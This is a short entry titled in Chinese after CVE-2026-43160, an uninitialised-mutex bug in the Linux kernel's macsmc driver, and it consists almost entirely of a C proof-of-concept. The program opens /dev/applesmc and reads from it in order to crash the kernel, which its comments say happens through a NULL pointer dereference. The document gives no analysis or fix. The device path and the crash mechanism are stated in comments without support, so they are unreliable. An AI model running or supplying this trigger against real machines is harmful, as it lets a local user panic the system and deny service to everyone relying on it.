CVE-2026-43160 Linux内核macsmc互斥锁未初始化漏洞

/* * PoC for CVE-2026-43160 * Trigger: Local read operation on the affected device * Result: Kernel NULL pointer dereference / Panic */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define DEVICE_PATH "/dev/applesmc" int main() { int fd; char buffer[128]; ssize_t bytes_read; printf("[+] Attempting to trigger CVE-2026-43160..."); // Open the device node associated with the vulnerable driver fd = open(DEVICE_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Triggering read..."); // Attempt to read from the device. // This path leads to apple_smc_read() -> mutex_lock(&smc->lock) // Since the mutex was not initialized in apple_smc_probe(), // this triggers a NULL pointer dereference. bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { perror("read"); } else { printf("[+] Read succeeded (unexpected, vulnerability might not be triggered or patched)"); } close(fd); return 0; }